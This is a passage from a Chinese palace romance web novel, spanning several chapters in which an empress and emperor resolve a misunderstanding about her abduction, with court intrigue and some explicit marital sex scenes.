沈若辞翻了个身,正准备小憩一会儿,锦云凑上前来,小心翼翼地问道,“娘娘,您不过去看看皇上吗?” 沈若辞却没有起身的意思,她只是冷静地朝床榻上看了一眼,“还是不了,他这病来势汹汹,我怕被传染到了。到时一个传一个,大家都病起来,就不好了。” 元栩“……” 原来只有他一个人是傻子? 锦云觉得皇后娘娘话虽没错,但是究根究底,皇上这病……是因您而来,您这般说辞,未免太过无情。她心中这般想着,嘴上却不敢说出来,可情绪难免表现在脸上,沈若辞一眼就能看出端倪。 她趁元栩睡过去的时候,把锦云叫到外间,询问她缘由,锦云支支吾吾,将昨夜帝后二人叫了三次水的事说出来, 沈若辞扶着额头,“我昨夜不是还在发热?” 锦云如实道,“是……” 不就三四天没有行事,他就这般急色,急着纾解? 就算真的忍不了,一次也该够了,何必接二连三,一夜来了三次。甚至甚至……按照往常在雪辉宫里的经验,三次水再加上最后那次沐浴,不得是四回了? 四回啊!她身上是得被磋磨成什么样? 沈若辞不敢往下想,她急急来到浴间,颤抖着手解开自己的腰带,低头一看,无力地垂下双眸。 果然,果然……如她所料。这是趁她病,要她命啊。 皇帝昨夜留下来的那些颜色鲜红,大小不一的痕迹,已覆盖住那夜她自己亲手伪造出来的痕迹,沈若辞额头突突直跳。 既然昨夜二人行过房事,元栩自然看到她自己留在身上的那些痕迹。如此一来,他若是误会了,事情就变得麻烦起来。 元栩身为帝王,她又是她的皇后,此事涉及皇家脸面,想必他不能接受自己女人被他人染指。沈若辞顿时觉得苦恼不已,这个误会得找个机会跟他澄清一下,绝不能姑息其成为难以弥合的嫌隙。 沈若辞系上腰带,整理好衣衫方从浴间出来,锦云已在门口候着。 “昨晚是什么情况,你说给我听。” 锦云闻言脑中咯噔一下,这事要她如何开口呢。她思索了一会儿,才开口道,“昨日娘娘可能是因为生病了,尤其黏人,缠着皇上……” 说她缠着皇帝?沈若辞秀眉微微拢起,这得烧得多糊涂啊,刚见面就缠着人要,那场面她都不敢细想。 她勉强还能镇定,“然后呢?” 锦云继续答道,“起初皇上不同意的,说您还病着,不宜纵欲……” 作者有话说:对,只有你一个人是傻子 第77章 沈若辞点点头, 他说得是对的,病人就该好好休息。 锦云又道,“可是您说皇上对您冷淡, 非要他陪着您……后边的事奴婢就不清楚了。” 沈若辞忍不住倒吸一口凉气,她做的这些都是什么事啊! 就算再心虚, 这会儿她只能硬着头皮走出来了。沈若辞走到床边,见元栩难得虚弱地在床上躺着, 他手脚修长,衬得床莫名显小。可能因为病着, 平日里凌厉的轮廓竟有些许柔和,眼皮薄薄的, 浓密的睫毛轻轻地颤动, 意外看出几分秀气来。 沈若辞坐在床边, 静静地看着他的睡颜, 没想过他也有如此脆弱的一面,脆弱到好似她一伸手就能将人捏碎一般。 元栩睡得极不安稳, 醒来时发觉身上的汗淋淋的, 在二人视线相交的瞬间,沈若辞默默地撇开头。 “朕的中衣被汗湿了,劳烦沿沿帮朕拿一件干净的过来。” 沈若辞才起身准备去找衣裳,那边锦云就已经将中衣送到她手里来了。 元栩坐起来脱衣裳, 沈若辞拿着中衣走到他身后,只见那件汗湿的衣裳被褪下后,露出背上交错纵横的细微伤口。 比上一回在雪辉宫里那一次, 还要多,还要密! 上一回二人在床榻上有多激烈,沈若辞是心知肚明的。而从这些伤痕来看, 昨夜只能是有过之而无不及。 元栩揽着她的腰,将头靠在她的身子上,“沿沿,朕好难受。” 沈若辞一只手搭在他的后劲上,不敢再往下边去了,忧心忡忡地问道,“皇上的后背……疼吗?” 元栩并无察觉异样,只蹭着她的衣裙摇头,“全身都疼,后背也疼。” 此时他头发未束,自然地披落在肩上背上,乌发雪衣,红唇长睫,羸弱无比。 沈若辞竟品出一丝破碎的美感。 见他缠着自己不放,沈若辞抚着他的后脑勺,心想幸好他看不到自己背,否则没准要治她的罪。 抱了一会之后,元栩拉着沈若辞坐在床沿上,他虚弱地将头靠在她的肩膀上。 呼吸着她身上独有的香气,元栩一点点往她脖颈里钻,而后抬起双臂向她身前拢去,圆润饱满,绵软细腻,手感极佳。 元栩沉浸在其中,意外收获极致的满足感。 沈若辞拧着眉安安静静地由他玩着,可此时房门敞开着,外间脚步声此起彼伏。 她心知元栩眼下是个软脚蟹,心有余而力不足,并不真的想把她怎么样。可若是有冒失的下人忽然闯进来,她的颜面要往哪里搁?如此想来,终是受不了这份煎熬,咬着牙阻止道,“皇上玩够了吗?” 元栩仍意味未尽,可沈若辞像只炸毛的小猫,对他的抚弄颇有微词,他只好悻悻地收了手。 “皇后昨日也是这般病得糊糊涂涂,缠着朕要了几回,眼下就痊愈了。朕是不是也要效仿皇后,跟沿沿做上个几回,明日起来也就能康复了。” 这番话虽听得人心惊,好在皇帝的语气温温和和,没有往常的强势与霸道,想必他也是病糊涂了,才会这般与她说话。 沈若辞觉得有必要看看他的病情,就算此人总是胡作非为,但到底是大魏的国君,他一人的安危关乎整个国家的命运,不能容他以身涉险。 奈何元栩双臂挂在她身上,又沉又碍事,沈若辞压根抽不开手,她干脆脑袋一偏,将额头缓缓地抵过去,与他的额头紧紧贴合。 元栩忽地呼吸一紧。 沈若辞垂下眼眸,感受着他额头的温度,确实来得比她烫一些。好在也不至于高烧,想必吃了药,休息两天就能恢复如初。 她正沉浸在自己的思绪中,骤然回神,与他眼神相接,这才发现二人的距离如此之近,亲密到能碰触到对方的睫毛。 元栩轻轻眨了一下眼睛,有什么东西自她浓密的睫毛上划过,电光火石间,沈若辞便觉心头上有无数小刷子擦过,她的心不受控制地跟着轻颤起来。 整个世界都安静下来,余下她惊人的心跳声。 这种陌生的感觉让人不安,沈若辞猛然转身,伸手朝他肩上一推,元栩竟这般轻而易举被她推开。 脱离他的桎梏,沈若辞倏地起身,而后急急往后退了两步,哪知退得太快,惊慌间拌住自己的脚,跌坐在地上。 元栩一惊,光着脚从床上跳下来,摸着她的后腰,急切地问道,“有没有摔到哪里?痛不痛?要不要朕……” 地上铺着厚厚的绒毯,沈若辞没有觉得疼,只是被吓了一跳。她微微仰着头,坐在地上轻轻地喘息。缓过神来时,元栩正拥着她,询问她哪里摔疼了,她心乱如麻,直觉不想被他近自己的身,下意识要自己站起来。 元栩却要来扶她,被她推开,见她惊慌的模样,他蹙眉,苍白的脸上布满了不悦之色,“为何这般?朕是猛兽不成?” 沈若辞不知该如何回答他,恰在这时,锦云闻声进来,将她扶至贵妃榻上坐下。此时元栩已经回到床榻上,并没有继续追问。 她松了口气,喝下锦云递过来的温水,偷偷抚了抚自己的胸口,不明白自己为何会做出这般奇怪的行径。 元栩回到床上后就一直闷闷不乐,明明昨天沈若辞还是一副粘人精的模样。今天病一好,烧退了就立马变了个人,视他如洪水猛兽。这样寒心的落差,天皇老子来了也接受不了。 若是他一直习惯她冷淡的样子也就罢了,从前尚且能接受。可如今见到她热情粘人的一面,面对这天差地别的待遇,又如何咽得下这口气呢? 那人究竟是谁,值得她这般温柔小意,一往而情深?他必要从那些纨绔中找出那个人,再将其发配到天涯海角,彻彻底底断了他二人再见面的机会! 越想怨气越深,元栩干脆咬着牙从床上坐起来,他披发坐在床榻上,叫来岳常安吩咐道,“通知严从晖,午后立即出发回盛京。” 他马上就要回盛京,拿到那些纨绔的画像,甩到沈若辞面前给她辨认,直到揪出那个不要脸的纨绔为止! 岳常安起初还微笑着,听到这个消息就笑不出来了,他担忧道,“皇上您现在还病着呢,需要休息,不妨再……” 元栩喘着气,语气却异常强势,“朕的话,你都不听是吗?” 岳常安立马噤声,他不敢再多嘴提留下来的事了,“是,老奴这就去通知严统领。” 二人对话的声音一字一句传入耳朵里,沈若辞最终还是忍不住朝床榻上投去目光。元栩已躺下,眼皮因为发了一通脾气后泛起了红意,脸色依旧苍白,薄唇紧紧抿着,明显身体上的痛楚在折磨着他。 他疯了是吗?病成这个样子,在逞强什么? 沈若辞发现自己气得手抖,慌忙回过头。刚想平复这突如其来的情绪,一低头,一滴眼泪掉了出来,落在手背上,她怔忡,无法接受这是她的泪珠。 锦云匆匆来到沈若辞身边,替她递上手帕,忧心道,“娘娘,您怎么哭了,是不是身子不舒服?” “我没事。”沈若辞用帕子拭去泪珠,她闭了闭眼,心想生病的人真是脆弱,她竟然被这一点小事气得掉眼泪。 都怪袁子逸,好端端拉着她出来折腾一通,让她丑态百出。她跟皇帝之间又因此事生了嫌隙,日后怕是更难相处了。 元栩最终还是没走成。 早在昨日找到沈若辞之后,元栩就已派出人手去通知程于秋和宋临,二人接到消息后欢天喜地地赶往驿站与众人汇合。 程于秋风尘仆仆到达驿站的时候,严从晖热络地接待了她,并将如何找到人的前后经过仔仔细细与她说了一遍。 听完严从晖的讲述后,程于秋心中了然。等她听到沈若辞因落水生病后,便迫不及待想去过去看看他。可当她来到门口时,方才听岳常安说起皇帝也在内,此时正在休息。 程于秋在门口站了一会,听屋里安安静静的,不曾传出半点声响,她莫名有些失落。就算她与沈若辞是无话不说的好姐妹,可对她这个皇帝丈夫,程于秋心底里还是有点发怵的。 她有时候也会打心里佩服沈若辞,这么娇滴滴一个美人儿,竟能跟皇帝这种难相处的人相安无事地做着夫妻。甚至……她多少也知道点,二人好起来的时候腻腻歪歪,整宿整宿地相缠。 一想到此处,程于秋下意识打了个冷颤,不由得后退了两步。她还是等元栩走了再来看沈若辞好了,于是一转头就去了关押袁子逸的地方。 袁子逸也不知道什么毛病,胆敢将她的人抢走,程于秋早就气得牙痒痒了。这几日奔波劳累,未曾好好睡上一觉不说,往日里她胃口向来极佳,竟也因为心系沈若辞安危吃不下饭,摸着腰都瘦了一圈,这笔账也势必要算在袁子逸头上。 本打算好好教训一下袁子逸,没想到甫一进门,一股刺鼻的血腥味就扑面而来,程于秋下意识皱起眉头,视线下移,就见袁子逸披头散发,一身血污,奄奄一息地躺在地上。 此时袁子逸虚脱地掀开眼皮,二人对视一眼,也是在此时,程于秋才终于确认此人是拐走沈若辞的罪魁祸首。 人心难测,程于秋冷冷地笑了一声,扔下一句“活该”后,转身离开了。 程于秋前脚刚到,后脚元琛也从盛京赶来了驿站。 他见到元栩时简直吃惊得无以复加,这些年来,元琛还是头一回见他病成这副模样。在他得知此人病倒了还要强撑着回盛京时,二话不说,直接做主让人多留一夜。 严从晖虽不敢违背皇帝的命令,却也怕皇帝在路上出事,到时候满朝文武一人一句话,他都能被唾沫喷死。 于是他也睁一只眼闭一只眼,拖延着不走。等到第二天,元栩精神明显好了一些,这才张罗着出发。 昨夜元栩一句话也不跟她多说,二人一夜无话,各睡各的。沈若辞也不知道自己怎么就惹到他了,这脾气阴晴不定的,好端端又折磨起人来。 上马车的时候,她跟在元栩身后,安安静静地等他上车后,正准备踩着车凳上车,车厢内却传来元栩冷淡的声音,“皇后跟将军一车。” 沈若辞脚下一顿,抬起一双杏眸望向车厢内,只见那人坐在阴影里,周身冷肃,她一时竟不知所措。 第78章 他厌弃她了吗?因为她身上的那些痕迹, 被他看到了,他就以为是袁子逸留下的? 沈若辞心乱如麻,若他真在意此事, 想必这个坎再也过不去了。 与沈若辞有着同样想法的人,不止她一个, 还有身边的锦云。打从前日亲眼看到皇后娘娘身上那些痕迹开始,锦云就一直忧心忡忡, 生怕皇上知道这些痕迹后,会迁怒皇后娘娘。 可前晚二人明明还好得如胶似漆, 怎么说变就变了呢? 锦云扶着沈若辞,心中万分愧疚, “娘娘……” 程于秋的声音在耳边响起, “沈沿沿, 快来啊, 坐我的马车。” 沈若辞回过神来,就见程于秋从车中探出大半个身子, 正兴奋地朝她招手。 沈若辞对她笑了一下, 提着裙摆回头看了一眼元栩,转身就朝程于秋那边过去,登上她的马车。 元栩在车中坐了好一会,才开口道, “出发。” 在他一声令下后,车队有条不紊地向盛京行进。元栩一个人端坐于车中,冷冷清清的。明明前日, 也是在这架马车内,二人好得如胶似漆的场景仍尚在眼前,此时就只剩下他孤零零一个人。 而那头沈若辞有程于秋陪着, 二人说说笑笑,竟也忘了元栩这档子事。 夜里一行人在沿途驿站休整。 关于她身上那些痕迹的事,白天没有机会跟元栩搭上话,待到此时夜深人静,二人独处的时间,沈若辞打算要跟他说一下事情的原委。 等她沐浴好爬上床时,元栩已闭着眼睛躺好了。 她犹豫再三,还是决定开口,“皇上您睡了吗,臣妾有话想跟您说。” 元栩没有回答,沈若辞坐着等了他一会,才听他回道,“有什么事日后再说,朕还病着,要休息了。” 沈若辞能体谅他作为病人的辛苦,也没有坚持,只是顺势躺下来,将头靠在他的左肩上,像以往在雪辉宫里那般,二人相偎而眠。 元栩没有像白天拒绝她上车那般直言不讳,只道,“朕还病着,不好这么亲密。” “没关系的。”沈若辞声音软软的,闻着他身上淡淡的草药香气,没有起来的意思,她慢悠悠地说道,“这里是陌生的地方,臣妾怕认生睡不着,闻着您身上熟悉的味道,能帮助臣妾更好地入睡。” 元栩到底没有推开她,任她躺在自己身上。 三天后,车队抵达盛京,元栩跟沈若辞回到皇宫里。在沈若辞失踪的这段时间里,元栩对外宣称自己有私事要去处理,由沈墨代为处理朝政。 朝堂上有沈墨尽心尽力盯着,并无大问题出现,官员们就算心有怨言,也不敢放到明面上说。话虽如此,元栩回来的时候,还是有一堆奏折等着他去处理。 国事为先,众人下车后,元栩便打算直奔书房去处理朝政,连骁却突然出现在此处,元栩微微诧异问道,“舅舅有何事,朕还有正事要去忙。” 连骁私下派人在城门口盯着,打从元栩马车踏入盛京时,他就已经收到消息,而后便是马不停蹄地赶来皇宫,就这样与皇帝一行人打上照面。 连骁本意是来看看沈若辞有没有平安回来,但他不能暴露自己的心思,只能借口说是来看看元栩,“皇上骤然离京,臣担心皇上安危,特来看看。” 元栩轻描淡写道,“舅舅有心了,朕无事。” 从车上下来后,沈若辞目光就一直放在元栩身上。这几日来他依旧冷淡,不主动与她亲近,甚至连与她说话的次数也极少。 一路上急着赶路,她至今仍没有找到机会将事情说明白。好在现在回到宫里,他的病也好了八九成,几乎算是痊愈了。如今在熟悉的地方,想必更能将误会说开。 她沉浸在自己的思绪中,完全没有注意到此时有一双眼睛总是似有若有地盯着她,而元栩却一眼看出来,见对方没有收敛的意思,他盯着连骁,却道,“皇后还不回雪辉宫吗?” 沈若辞这才回过神来,见元栩虽与她说话,却没有正眼看她。 “皇上,臣妾……”沈若辞朝前走了两步,本想问问他今晚是否过来雪辉宫,哪知话还没说完,元栩忽地怒斥起身旁的岳常安,“常安,还不送皇后回雪辉宫!” 元栩突然发怒,岳常安连带在场的人都吓了一跳。唯有连骁,非但没有害怕,反而暗自欢喜,元栩对沈若辞的态度正中他的下怀。 连骁刚从连亦心那里得知她大胆的行径后,震怒不已,狠狠地将对方训斥了一顿。只是没想没到袁子逸计划失败,沈若辞最终被寻回,而此事歪打正着,意外得到他想要的结果。 联想到沈若辞失踪这段时间大概率已被袁子逸得手,再看元栩对待沈若辞的态度,明显是二人之间已有隔阂。 只要皇帝厌弃沈若辞,那他就有机会得到她。上回连亦心送来的那民间女子的画像,他已寻到人了,就待合适的机会将人献给元栩。 至于什么时候才算合适的机会,连骁起初还没有想法。但现在,他心中万分清楚,此时帝后之间出现问题,正是他献上旧人的最佳机会。 连骁心情无比愉悦,“既然皇上有事要忙,臣就先告辞了。”说话的时候,眼神不离沈若辞,俨然已将她视为自己的囊中之物。 元栩摆摆手让他离开,连骁觊觎沈若辞的心思,就差写在脸上了。 若不是因为对方是他母后在世时最疼爱的幼弟,元栩不会让连骁还有机会留在盛京。 那头沈若辞已在回雪辉宫的路上,沈墨闻讯赶来,见女儿行动自如,并无异常,面色才稍稍平和下来。 “沿沿!”沈墨快步走向女儿。 “阿爹!”沈若辞回头,见是父亲过来,她再也压抑不住泪水,哭着扑进父亲的怀里。 沈墨安抚了女儿好一阵,见沈若辞终于停止了哭泣,陪着她回到雪辉宫后,才询问起她失踪时的经过。 沈若辞将事情经过仔仔细细告知父亲,本着报喜不报忧的心态,中间也省略去袁子逸试图侵犯她的细节。 沈墨是何等了解女儿的性子的人,知她避重就轻,便主动与沈若辞确认,“那袁子逸可有欺辱沿沿?沿沿可有受伤?” 沈若辞摇头,如实道,“阿爹放心,袁子逸还不至于到丧心病狂的地步,他没有强迫女儿,也没有伤害女儿。” 沈墨松了一口气,慈爱地抚了抚她的头,安抚道,“没事了,好在是虚惊一场。” 了解完女儿失踪的情况后,又确认女儿没有受伤,沈墨终于安心了。现时他手头有很多政务要跟元栩对接,就没有在雪辉宫里久留,坐了一会就又赶去前朝。 夜里元栩没有来雪辉宫,想起这几日来皇上对待皇后娘娘的态度,锦云愁得连饭也吃不下。 连嬷嬷一眼看出端倪,私底下将锦云叫了过去,软硬兼施之下,锦云将连日来发生的事向连嬷嬷和盘托出。 连嬷嬷叹了口气,暗骂了袁子逸那厮几次,又将他祖宗十八代都问候了一遍。 她心疼元栩幼年失去双亲,好不容易娶了个喜欢的皇后,又因为这档子事让夫妻二人离了心。 连嬷嬷虽理解皇后娘娘的遭遇,但男人素来看重女子贞洁,更何况对方还是皇帝,她就算有心劝和,也无能为力。 真是造化弄人,连嬷嬷愁得连连叹息。 再进屋时,见皇后娘娘也无往日的笑颜,小脸绷得紧紧的,话也没说几句。 连嬷嬷看了心疼,也不知道怎么安慰她。 隔天下完早朝,沈墨从大殿中出来的时候,其他官员已经走得差不多,他算是最后出来的人了。 这些日子里白天忙于政务,夜里忧心女儿安危,都没好好睡个好觉,沈墨觉得自己熬出幻觉来了,竟听到有人在叫他。等他回头去看时,才发现确实是有人在叫他。 此时连骁正一脸嘲讽地朝他走来,“牺牲女儿的终身幸福,为自己谋求荣华富贵、官运亨通,沈相当真能如此心安理得?” 沈墨跟连骁的关系虽不至于太坏,但也仅限于官场上的交情,私下并无来往。连骁莫名其妙就过来指责他的为人,沈墨不禁开始回想自己究竟是在什么地方得罪了对方,以至于他恶语相向。 当他在脑中搜寻了一圈之后,发现自己与连骁往日无仇,近日无冤,更无利益上的冲突,这就更奇怪了。 “连将军,本相哪里得罪你了?” 连骁说话向来直来直往,不掖着藏着,当即道,“沈相没有得罪在下,但如今皇后娘娘在宫中受人厌弃,受尽冷眼,沈相打算坐视不理吗?” 沈墨脸色瞬间一沉,眼皮子突突直跳。心道难不成沿沿没与他说实话,那小狼崽子其实因她被袁子逸拐走一事耿耿于怀,打心底里认定女儿遭受欺辱,更为此迁怒于她? 沈墨眉头紧锁,一时间心乱如麻。他这就去找女儿,非要将此事问清楚为止,那狼崽子凭什么不相信沿沿的清白,凭什么将错误归咎到她身上? 退一万步讲,就算沿沿真遭受不测,那也定然不是她的错。这场意外她无法预测到,她才是最无辜的那个人,真正有罪的另有其人。 这般想着,沈墨抬腿就往雪辉宫的方向过去,哪知却被连骁挡住了去路。 “连将军这是何意?”沈墨赶着去确认事情真假,若到时候验证事情是真,事后必定会亲自登门感谢连骁的倾囊相告。可如今事情尚未得到验证,他不会轻易相信连骁的一面之词,当务之急还是去雪辉宫找女儿弄清楚真相。 连骁后退一步,朝沈墨拱了拱手,道,“连某有一句话想告知沈相。” 沈墨见他并无冒犯之意,便也和颜悦色道,“请说。” 连骁收起笑意,神色凛然,义正言辞道,“连某只是想说,这世间不在乎女子贞洁的男人,也不在少数,连某恰好就是其中一个。” 沈墨没有心情,更没有时间在这里听他长篇大论讲述自己的观点。碍于对方刚给自己送来消息,只能强忍着不悦,抬起眼眸睨了连骁一眼,希望对方能看懂他的暗示,适可而止的时候,连骁缓缓地说出最后一句话,“沈相看连某如何?” 沈墨“……” 作者有话说:沈墨:身边的人都想认我当岳父…… 第79章 别说如今沈若辞尚且是大魏的皇后, 就算她日后真脱离了皇后的身份,想要重觅良缘,沈墨断不可能考虑到连骁身上。 毕竟在他的记忆中, 连骁已近而立之年,而女儿尚且年幼, 就算是二嫁,也没有理由选择年纪这般大的夫婿。 得知对方觊觎沈若辞的心思后, 沈墨丝毫不给他留情面,那话说起来夹枪带棍, “本相记得,连将军与本相年纪相差无几, 你我也算是同辈人。小女若见了连将军, 少不得要叫上一声连叔叔。”言下之意嫌他年纪太大。 连骁“……” 沈墨不想对方给对方存有任何幻想的机会, 便将话撩得更明, “如今事实如何,也该亲口问过他们夫妻二人之后才能下定论。何况天底下哪有不吵架、不闹矛盾的夫妻?老话也都说了, 夫妻床头吵架床尾和, 偶尔闹小吵小闹无妨,最重要的是能把话说开,而非一有问题就奔着“分开”二字去。你说是吧,连家舅舅?” 沈墨已经将话说得够明白了, 就连往日里两家未曾提及的那点亲戚关系,现如今也拿出来做文章,连骁很难不明白, 沈墨是在故意点他——做长辈该有长辈的样子。 但是无妨,他那位外甥根本就不在乎沈若辞,他对沈若辞的心思算不得违背伦理人常。 离去前, 沈墨又再次强调,“小女的事,本相自有安排,以后不劳烦连将军费心了。” 连骁望着对方渐渐远去的身影,心道沈墨现在不接受他也不是什么大问题,只要沈若辞愿意,他做父亲的不接受也得接受。 话说如此,连骁也忍不住去想,自己的老了吗? 雪辉宫里沈墨突然到访,连嬷嬷跟锦云等人都有些意外。 沈若辞虽很高兴父亲的到来,但明明昨日阿爹才来看过她,今日又突然过来,定是有什么事要说,她便叫阿茉守在门口,自己跟父亲关起门来说话。 那边门才关上,沈墨便迫不及待地问道,“沿沿,皇上是不是对你被袁子逸掳走一事心存芥蒂?” 意识到父亲竟是为此事而来,沈若辞心中了然,但这其中的弯弯绕绕很难讲清楚,当着父亲的面,有些话更是不好说出来,沈若辞只好含糊道,“皇上是有一些不开心,也可能是因为生病了,等他病好了就……” 她话还没说完,沈墨面容忽然严肃起来,他打断女儿的话,“沿沿,你与爹说实话,他若是因此事看轻你,你是否仍愿意与他在一起?” 沈若辞一怔,不等她回答,沈墨郑重其事地保证道,“若是你不愿意,爹有法子,必能让你全身而退。” 沈若辞虽知父亲神通广大很有能力,但此时听他这般言之凿凿的保证,心中仍感到十分纳罕,很好奇父亲会用什么办法让一个大活人在皇帝的眼皮子底下逃出生天,“阿爹,他是天子,您有何法子能瞒天过海?” 沈墨本意是想让女儿能放开手脚去做选择,并未想让她知道自己谋划,毕竟某些事不到最后一刻、万不得已之时,他不想让女儿知道。 “这些沿沿不用知道。爹只是想让你知道,以后的路沿沿只管遵照自己心意去走,不管是走哪条路,爹都有万全之策保你我父女二人平安。” 从小到大,父亲都是她的定心符,不管他说什么,沈若辞都很相信他。但是如今她长大了,也明白得到某些东西的同时,势必也会失去一些东西。不管做什么选择,都要三思而后行,何况她都未曾经过努力,没有必要走你死我活的路子。 “阿爹,我跟皇上眼下是有一些误会。不过您放心,沿沿会找机会跟他说清楚。若是他能接受,能相信沿沿,那自然最好的,若他不能接受,沿沿必然不会委屈自己,到时候再找阿爹帮忙不迟。” 况且在她离京之前,她与皇帝二人的关系,也到了一个能和平共处的阶段,日子也算得上悠闲自在。 沈墨点点头,他尊重女儿的选择,也相信女儿不会苛待自己。 次日,沈若辞来到元栩元栩的书房。今日是来将误会讲清楚的,若是他信,自然是皆大欢喜。若是他仍心存芥蒂,她会要元栩给一个说法,日后她要去要留,该如何定义二人的关系,都需要他亲口给一句话,她也好做定夺。 沈若辞站在宫殿前,想起头一回入宫,稀里糊涂就睡到他床上去,醒来后更吓得心惊胆战。那时父亲善在狱中,顶着通敌叛国的罪名,她忧愁得不知该如何是好。 不过半年的时间,父亲官复原职,她阴差阳错成为皇后,世事真是难料。 通报之后,岳常安和颜悦色地来请她,“娘娘,皇上请您进去。” 尽管来过龙泽宫好几回了,沈若辞仍不习惯这里带给她的冷肃感。 殿中如往常般清清冷冷,所谓物如其人,沈若辞觉得十分有道理。她的雪辉宫就不同,每一处都布置得既养眼又实用,整个宫殿萦绕着恰到好处的温馨感。 见元栩在书桌前看着奏折,沈若辞问道,“臣妾是不是打扰皇上了?” 她本来就是说说客套话,哪知元栩只是脸上挂着笑看她,并不回答的问题。这副样子分明就是在说她确实是打扰到他干正事了,沈若辞撇撇嘴,绕过书桌来到他跟前。 “臣妾有一件事,今日一定要跟皇上解释清楚。” 元栩眼神中有诧异,但更多的是欣喜。这些天来,他因为沈若辞下意识对他表现出来的疏离耿耿于怀,一方面确实是抱着晾一晾她的态度,另一方面是气她明知自己的做法伤他的心,却无道歉挽回他的意思。 他回答得不甚在意,眼神却紧紧地粘在她脸上,“皇后要跟朕解释什么?” 明明已经是在心里反复揣摩多次的话,此时在他面前,竟也踟蹰起来,他会相信她接下来说的话吗? 不管如何,肯定是要努力一下,她深吸一口气,“皇上,您还记得,在驿站的第一夜,您应该是看到过臣妾身上那些痕迹的。” 元栩唇角动了动,显然没料到沈若辞说的竟是这件事。 他感到一阵失落,“沿沿想要说什么?” 沈若辞一口气将这些天一直想说的话统统吐露出来,“臣妾想要说的是,袁子逸并没有对臣妾行不轨之事。臣妾身上的那些痕迹,是自己伪造,并非袁子逸留下的。我与他清清白白,没有发生任何于理不合的事情。” 元栩愕然,事情的原貌原来是这个样子,他忽地笑了,心中畅快无比,原来她没受欺负,真是万幸。 沈若辞见对方仍旧是笑而不答,就只此事果然如她所想那般难以言明。既如此,她干脆一不做二不,伸手就去解自己的腰带。 在元栩还未反应过来的时候,沈若辞已将外裳拉开,而后一股脑坐到他的书桌上,按照那日在郾城客栈里沐浴时那般,一点一点给我自己身上留下痕迹。 很快,在元栩不明就里的目光中,一抹艳丽妖冶的痕迹赫然跃于女子身上最柔软之处。 元栩胸膛剧烈起伏,他已好些日子未近她的身,原本就忍得辛苦,此时被她这般挑逗,脑中如有烟花炸开,几近空白。 好在他尚存意思理智,很快品出异常之处。他将沈若辞扯入怀中,伸手就覆住她的额头,再三确认对方没有发热后,又将头埋进她的身子,里里外外闻过一遍,自言自语道,“没有喝酒吧?” 说完俯身尝了尝她娇嫩的红唇,无半分酒气,确认她也并非醉酒的状态后,元栩心中更为纳闷,那为何忽然这般…… 他望向沈若辞那双莹着水雾的眼睛,明显是刚刚把自己给捏疼了,差一点就哭出来,硬生生给忍下去。 沈若辞心中早已后悔得不行,也不知道是哪根筋搭错了,竟临时想出这个馊主意来自证,她为自己方才的行为羞地双颊通红,干脆破罐子破摔道,“皇上到底信不信臣妾所说,劳烦给一个回应,不要再吊着臣妾!” 原是如此,元栩终于明白她的意图,为了这点事竟还如此大费周章自证起来。 “沈若辞,朕信与不信,这并不是重点,重点是你愿意考虑朕的感受,还因怕朕误会,亲身给朕做了示范,这份用心,真的令朕很开心,很感动。” “所以您到底相不相信?” “沿沿没有与他,朕很高兴,但是朕的高兴与你“是否清白”并直接关系,朕庆幸的事沿沿没有受到伤害,而非是否清白一说。” 那日在找到沈若辞之前,他心中不是完全没有设想过,沈若辞会不会是心甘情愿跟他走的? 可找到她的那一日清晨,在杂草堆里,他亲手拂去遮蔽物,一眼看到她浸满泪水的双眸,眼中积蓄的害怕与不安都快溢出眼眶。就这一眼,他便无比确定她是被迫的,绝无可能出于自愿。 他若是还因此怪罪上她,那简直算得上狼心狗肺之人。 “真是傻瓜。”元栩心中气恼,奈何被她那初霞般的娇靥勾得不知东西南北,不受控制地亲吻她的唇,“大傻瓜。”又是骂又是亲,沈若辞都给整糊涂了。 沈若辞不要他这种模棱两可的态度,她抬手抵住元栩的额头,“把话说清楚。” 还不够清楚吗?他从来都没有介意过这件事,他在意的是另一件事。可眼下沈若辞对他的在意与用心,足以你补他内心中那点子不满。 元栩无赖地缠着她,“做完了再告诉沿沿。” 第80章 “在这里”沈若辞大为吃惊, 直觉他是在说笑,故意拿话逗她的。之前在马场也就算了,毕竟那里是闲暇时间放松的地方。可这里是书房, 是皇帝与朝臣处理政务,谈论国事的地方, 这般正式的场合,哪里能随心所欲行事? 奈何此事是她先起的头, 她方才急着自证,头脑一热就直接坐到书桌上解腰带。眼下二人将矛盾说开, 她才后知后觉地不好意思起来,躲在他怀里闷声闷气地说道, “这里可是书房, 随时有朝臣过来。” 元栩一边剥去她的下裳一边安抚道, “放心, 就算真有人来了,没有朕的允许, 他们不敢进来。” 沈若辞半推半就中还是被他得逞了。可能身处陌生的地方, 有复杂情绪的加持,她进入得很快,元栩颇为满意,二人都极为投入这场酣畅淋漓的交-缠中。 她呜呜咽咽, 声音简直不成调,软得不行不行的。元栩正在兴头上的时候,岳常安在外头轻轻叩响了门, 低声禀道,“皇上,沈相求见。” 沈若辞闻言神色如遭雷击。她顿时极度后悔, 竟被元栩引诱着在这里做这等事。来人若是旁人,尚且还能选择忽视,可偏偏来的是自己的父亲,沈若辞慌乱得不知如何是好。 受不住沈若辞情绪起落带来的刺激,元栩克制地合上眼皮,一只大掌不停地轻抚她的后背,试图让她放轻松下来。 好一阵后,他才竭力控制住自己的声音,朝门口喊道,“朕眼下有事在忙,沈相暂且先回去,有什么事晚点再说。” 沈墨此行正是为女儿的事所来,“臣知道沿沿也在里头,如此不如打开门来将事情说清楚,臣也好安心做其他事。” 元栩与沈若辞眼神相接,神色颇为得意,“沿沿很好,朕跟沿沿将事情说开了,沈相不必担心。” 沈墨已从元栩的声音和岳常安的神色中察觉出异样。 但和好的话全是元栩在说,女儿不曾开口过,到底还是心忧女儿,沈墨不敢大意,“沿沿呢?沿沿回句话,爹才放心。” 沈若辞此时涨红了脸,急得满头大汗,就差真的哭出来,好在元栩几番安抚,最后终于平复心绪后才开口,“阿爹,沿沿没事,您先回。” 短短几个字,沈若辞说得极其艰难,感觉嘴唇一度不是自己的。 沈墨虽无妻子,但到底是过来人,见女儿女婿不方便出来,心中大概也能猜出个几分来。如此这般,看来小夫妻是和好了,他不是扫兴的长辈,便朗声说道,“臣先告辞。” 抛下话后沈墨就出宫去了。 听到脚步声渐渐远去,二人如蒙大赦,尤其是沈若辞,她差点就要被逼疯了。 方才父亲在门外的时候,沈若辞绷紧了腰,等沈墨一走,她顿时浑身脱了力,直接扑倒在元栩怀里。两只手像棉花一样,一下一下打在他的胸膛上,“都怪你,都怪你……” 元栩抓着她的两只手腕,顺着她动作起伏,往自己胸口上捶打着,“好好好,都是朕的错,朕的错。” 